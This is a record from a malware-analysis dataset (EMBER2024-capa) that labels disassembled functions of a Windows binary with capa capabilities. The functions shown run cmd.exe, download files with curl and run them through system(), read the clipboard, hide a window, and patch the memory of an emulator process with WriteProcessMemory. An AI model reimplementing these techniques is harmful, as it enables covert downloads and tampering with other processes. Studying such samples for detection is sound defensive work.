joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46dfc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c4dad
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4fd140]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
push 0x4e7050
push 0
lea ecx, [ebp + 8]
call fcn.00409910
push 0x3c
push 0
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], str.cmd.exe
lea ecx, [ebp + 8]
call fcn.004065a0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x46e077
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00406760
mov eax, dword [ebp - 0x10]
jmp 0x46e0b4
push 0xffffffffffffffff
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00406760
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x46e0d0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c3cfd
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
push eax
push str.___output
lea ecx, [ebp + 8]
push ecx
push str.curl.exe___url
lea edx, [ebp - 0x58]
push edx
call fcn.00407a60
add esp, 0xc
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x60]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00407b90
add esp, 0xc
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x68]
push ecx
lea edx, [ebp - 0x28]
push edx
call fcn.00407be0
add esp, 0xc
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x40]
call fcn.00406760
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x58]
call fcn.00406760
nop
lea ecx, [ebp - 0x28]
call fcn.004065a0
mov dword [ebp - 0x6c], eax
push str._echo_off
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00406760
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00406760
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00406760
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret
Function at 0x46e220
Capabilities:
Open clipboard
Read clipboard data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c4dee
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x4fd140]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x46e268
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x46e282
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x46e29e
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, dword [ebp - 0x14]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00406800
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x18]
or edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x46e4c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c4e4d
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004701f0
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x18], 0xf9
mov byte [ebp - 0x17], 0xff
mov byte [ebp - 0x16], 0x5f
mov byte [ebp - 0x15], 0x5e
mov byte [ebp - 0x14], 0x5b
mov byte [ebp - 0x13], 0xc3
mov byte [ebp - 0x12], 0xe9
lea ecx, [ebp - 0x3c]
call fcn.00426870
mov dword [ebp - 4], 0
mov byte [ebp - 0x1c], 0xc2
mov byte [ebp - 0x1b], 8
mov byte [ebp - 0x1a], 0
push 0xfffffff
push 0
lea ecx, [ebp - 0x3c]
push ecx
push 7
lea edx, [ebp - 0x18]
push edx
call fcn.004711f0
add esp, 0x14
lea ecx, [ebp - 0x3c]
call fcn.004299f0
test eax, eax
je 0x46e5db
push 0
lea ecx, [ebp - 0x3c]
call fcn.00426e10
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x40
push 3
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 3
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
push 3
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00477610
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x40], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c]
call fcn.00426c80
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret

Function at 0x46e610
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
mov esp, ebp
pop ebp
ret
Function at 0x46f610
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c5005
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
push 0x4e6ce8
lea ecx, [ebp - 0x28]
push ecx
call fcn.00407a60
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.004065a0
mov dword [ebp - 0x2c], eax
push 0
push 0
mov edx, dword [ebp - 0x2c]
push edx
push 0x4e6cec
push 0x4e6cf4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00406760
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00406760
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret

Function at 0x46fe00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
nop
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x13c]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x46ff2e
mov dword [ebp - 0x138], 0x4e6bf4
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov al, byte [edx]
mov byte [ebp - 0x12d], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx]
jne 0x46fee3
cmp byte [ebp - 0x12d], 0
je 0x46fed7
mov edx, dword [ebp - 0x134]
mov al, byte [edx + 1]
mov byte [ebp - 0x12e], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx + 1]
jne 0x46fee3
add dword [ebp - 0x134], 2
add dword [ebp - 0x138], 2
cmp byte [ebp - 0x12e], 0
jne 0x46fe85
mov dword [ebp - 0x140], 0
jmp 0x46feee
sbb edx, edx
or edx, 1
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x46ff29
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x144]
jle 0x46ff29
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x148], eax
jmp 0x46fe54
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret
Function at 0x46ff50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
nop
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x13c]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x47007e
mov dword [ebp - 0x138], 0x4e6bdc
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov al, byte [edx]
mov byte [ebp - 0x12d], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx]
jne 0x470033
cmp byte [ebp - 0x12d], 0
je 0x470027
mov edx, dword [ebp - 0x134]
mov al, byte [edx + 1]
mov byte [ebp - 0x12e], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx + 1]
jne 0x470033
add dword [ebp - 0x134], 2
add dword [ebp - 0x138], 2
cmp byte [ebp - 0x12e], 0
jne 0x46ffd5
mov dword [ebp - 0x140], 0
jmp 0x47003e
sbb edx, edx
or edx, 1
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x470079
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x144]
jle 0x470079
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x148], eax
jmp 0x46ffa4
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret

Function at 0x4700a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.KERNEL32.dll_Process32First
nop
lea edx, [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x13c]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4701ce
mov dword [ebp - 0x138], 0x4e6bc0
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov al, byte [edx]
mov byte [ebp - 0x12d], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx]
jne 0x470183
cmp byte [ebp - 0x12d], 0
je 0x470177
mov edx, dword [ebp - 0x134]
mov al, byte [edx + 1]
mov byte [ebp - 0x12e], al
mov ecx, dword [ebp - 0x138]
cmp al, byte [ecx + 1]
jne 0x470183
add dword [ebp - 0x134], 2
add dword [ebp - 0x138], 2
cmp byte [ebp - 0x12e], 0
jne 0x470125
mov dword [ebp - 0x140], 0
jmp 0x47018e
sbb edx, edx
or edx, 1
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x4701c9
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x144]
jle 0x4701c9
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x148], eax
jmp 0x4700f4
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret
Function at 0x470a90
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c4dad
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4fd140]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
push 0x4e1fe0
push 0
lea ecx, [ebp + 8]
call fcn.00409910
push 0x3c
push 0
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0x4e1fe4
lea ecx, [ebp + 8]
call fcn.004065a0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x470b47
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00406760
mov eax, dword [ebp - 0x10]
jmp 0x470b84
push 0xffffffffffffffff
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00406760
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4772f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x154], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x477462
lea edx, [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x168]
push eax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
jne 0x477462
mov dword [ebp - 0x160], str.aow_exe.exe
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x15c]
mov al, byte [edx]
mov byte [ebp - 0x155], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx]
jne 0x4773d2
cmp byte [ebp - 0x155], 0
je 0x4773c6
mov edx, dword [ebp - 0x15c]
mov al, byte [edx + 1]
mov byte [ebp - 0x156], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx + 1]
jne 0x4773d2
add dword [ebp - 0x15c], 2
add dword [ebp - 0x160], 2
cmp byte [ebp - 0x156], 0
jne 0x477374
mov dword [ebp - 0x16c], 0
jmp 0x4773dd
sbb edx, edx
or edx, 1
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jne 0x47745d
mov ecx, dword [ebp - 0x14c]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jne 0x47741a
jmp 0x477342
push 0x28
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x164]
push eax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x47744f
cmp dword [ebp - 0x20], 0x11e1a300
jbe 0x47744f
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x170], ecx
mov eax, dword [ebp - 0x170]
jmp 0x477470
mov edx, dword [ebp - 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x477342
mov eax, dword [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret
Function at 0x477480
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x4fd140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x154], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x4775f2
lea edx, [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x168]
push eax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
jne 0x4775f2
mov dword [ebp - 0x160], str.AndroidProcess.exe
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x15c]
mov al, byte [edx]
mov byte [ebp - 0x155], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx]
jne 0x477562
cmp byte [ebp - 0x155], 0
je 0x477556
mov edx, dword [ebp - 0x15c]
mov al, byte [edx + 1]
mov byte [ebp - 0x156], al
mov ecx, dword [ebp - 0x160]
cmp al, byte [ecx + 1]
jne 0x477562
add dword [ebp - 0x15c], 2
add dword [ebp - 0x160], 2
cmp byte [ebp - 0x156], 0
jne 0x477504
mov dword [ebp - 0x16c], 0
jmp 0x47756d
sbb edx, edx
or edx, 1
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jne 0x4775ed
mov ecx, dword [ebp - 0x14c]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jne 0x4775aa
jmp 0x4774d2
push 0x28
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x164]
push eax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x4775df
cmp dword [ebp - 0x20], 0x11e1a300
jbe 0x4775df
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x170], ecx
mov eax, dword [ebp - 0x170]
jmp 0x477600
mov edx, dword [ebp - 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x4774d2
mov eax, dword [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004c053f
mov esp, ebp
pop ebp
ret
Function at 0x4805f0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
sub esp, 0x18
mov eax, dword [0x4fd140]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
test esi, esi
je 0x4806bb
lea eax, [esp + 4]
push eax
push esi
push 2
call fcn.0049b820
add esp, 0xc
test eax, eax
jne 0x4806bb
lea eax, [esp + 8]
push eax
push esi
push 0x17
call fcn.0049b820
add esp, 0xc
test eax, eax
jne 0x4806bb
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x480644
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.0049b7f0
add esp, 0xc
test eax, eax
je 0x480678
sub eax, esi
push eax
push 0x2e
push esi
call fcn.0049b7f0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x48067a
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x4806a6
mov al, byte [esi]
push eax
call fcn.0048ea00
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x480688
pop edi
movzx eax, bl
pop ebx
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004c053f
add esp, 0x18
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop esi
xor ecx, esp
call fcn.004c053f
add esp, 0x18
ret
Function at 0x48a530
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [edi + 0x608], 0
je 0x48a574
push 1
push edi
call fcn.0047c2e0
push dword [edi + 0x59c]
mov eax, dword [edi + 0x608]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push 0
push edi
mov esi, eax
call fcn.0047c2e0
add esp, 0x24
mov eax, esi
pop edi
pop esi
ret
mov edx, dword [esp + 0x10]
mov ecx, edx
sub ecx, 0
je 0x48a589
sub ecx, 1
je 0x48a589
sub ecx, 1
jne 0x48a5ba
push dword [edi + 0x598]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea eax, [edx*2 + 0x4ea028]
push 1
add eax, edx
push 2
push eax
call esi
push dword [edi + 0x598]
push 1
push dword [esp + 0x30]
push dword [esp + 0x30]
call esi
add esp, 0x20
pop edi
xor eax, eax
pop esi
ret

Function at 0x48acc0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x10c
mov eax, dword [0x4fd140]
xor eax, esp
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x118]
mov edx, dword [esp + 0x114]
push ebx
mov ebx, dword [esp + 0x114]
mov dword [esp + 8], eax
xor eax, eax
push ebp
mov ebp, dword [esp + 0x128]
mov ecx, dword [ebx + 0x424]
cmp edx, ecx
push esi
sete al
mov esi, 0x448
push edi
lea eax, [eax*4 + 0x420]
mov eax, dword [eax + ebx]
mov dword [esp + 0x10], eax
mov eax, 0x458
cmove esi, eax
mov eax, dword [ebx + 0x548]
add esi, ebx
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x48adcd
xor eax, eax
cmp edx, ecx
sete al
lea eax, [eax*4 + 0x438]
cmp dword [eax + ebx], 0x48a880
jne 0x48adcd
cmp dword [esi], 0
je 0x48ad58
test edi, edi
je 0x48adcd
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [esp + 0x20]
call fcn.00499fd0
add esp, 0x14
cmp eax, 0xffffffff
je 0x48adcd
test al, 1
je 0x48adcd
cmp dword [esi], 0
jne 0x48ada4
mov eax, dword [ebx]
mov eax, dword [eax + 0x90c]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [0x4fd0dc]
mov edi, dword [esi + 4]
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov ecx, dword [esi]
test ecx, ecx
je 0x48adc6
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x48adcd
add dword [esi + 8], eax
jmp 0x48adcd
mov dword [esi + 4], 0
push 0
push dword [esp + 0x130]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
cmp edi, 0xffffffff
jne 0x48ae36
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x48ae07
mov dword [ebp], 0
lea eax, [edi + 0x52]
jmp 0x48ae3b
push 0x100
lea eax, [esp + 0x1c]
push eax
push esi
call fcn.00477f60
push eax
push str.Send_failure:__s
push dword [ebx]
call fcn.0048a5c0
mov eax, dword [ebx]
add esp, 0x18
mov dword [eax + 0xd44], esi
mov eax, 0x37
jmp 0x48ae38
xor eax, eax
mov dword [ebp], edi
mov ecx, dword [esp + 0x118]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004c053f
add esp, 0x10c
ret
Function at 0x48b240
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 4]
cmp byte [eax + 0x474], 0
je 0x48b25d
push eax
call fcn.00484a90
add esp, 4
test eax, eax
je 0x48b27e
mov al, 1
ret
mov eax, dword [eax + 0x420]
cmp eax, 0xffffffff
je 0x48b27e
push 2
push 1
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
setne al
ret
xor al, al
ret